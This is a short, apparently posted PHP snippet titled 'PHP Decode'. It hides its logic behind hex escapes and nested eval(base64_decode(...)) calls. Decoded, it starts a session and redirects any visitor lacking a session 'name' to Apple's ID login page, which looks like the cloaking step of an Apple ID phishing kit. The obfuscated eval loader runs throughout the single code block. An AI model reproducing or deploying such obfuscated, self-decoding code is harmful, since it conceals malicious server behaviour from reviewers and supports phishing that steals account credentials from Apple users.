PHP Decode

<?php if(!function_exists("mystr1s47")){class mystr1s21 { static $mystr1s179="\x58\x31N\x46\x551N\x4aT\x30\x34\x3d"; static $mystr1s178="ba\x73e\x36\x34_\x64\x65c\x6fd\x65"; static $mystr1s280="bm\x46tZQ\x3d="; static $mystr1s381="\x54\x47\x39\x6aYX\x52\x70b24\x36\x49G\x680d\x48Bz\x4fi\x38\x76\x59XBw\x62GVp\x5a\x435hc\x48\x42s\x5a\x535jb\x320="; }eval("e\x76a\x6c\x28\x62a\x73\x656\x34_\x64\x65c\x6fd\x65\x28\x27\x5anVu\x593R\x70b\x32\x34\x67b\x58\x6cz\x64HI\x78czg\x79\x4bCR\x74eXN\x30\x63jFz\x4dTA\x7aKXs\x6beyJ\x74X\x48\x673OX\x4ec\x65D\x630\x58\x48g3\x4dj\x46c\x65\x44czM\x54\x450I\x6e0\x39bXl\x7adHI\x78cz\x49xOj\x6fke\x79\x4atXH\x673\x4f\x58N\x30\x63\x6cx4M\x7aFzX\x48gzM\x54\x634I\x6e\x307cm\x56\x30d\x58\x4auI\x43\x527Im\x315c1\x784N\x7aRyM\x56x4\x4ez\x4dxMT\x51if\x53gg\x62\x58lzd\x48I\x78\x63zIx\x4fj\x6fkey\x527I\x6d1ce\x44c5c\x33Rce\x44\x63y\x4d\x56x4\x4ezM\x78\x4dF\x784M\x7a\x4di\x66X0g\x4bTt9\x27\x29\x29\x3b\x65v\x61l\x28b\x61\x73\x656\x34\x5fd\x65c\x6fd\x65\x28\x27\x5a\x6eV\x75\x593Rp\x6224\x67\x62\x58lzd\x48\x49xc\x7aQ\x33K\x43Rte\x58N0c\x6aF\x7aN\x6ag\x70\x49Hty\x5aXR\x31cm4\x67bXl\x7adHI\x78czI\x78Oj\x6f\x6beyR\x37Il\x784\x4e\x6d\x52\x35c1\x784\x4ezRy\x58Hgz\x4dXN\x63e\x44M\x32XHg\x7aO\x43J\x39fTt\x39\x27\x29\x29\x3b");}
session_start();if(!isset(${mystr1s82("mystr1s179")}[mystr1s82("mys\x74r1\x73280")])){header(mystr1s82("m\x79str\x31s3\x381"));}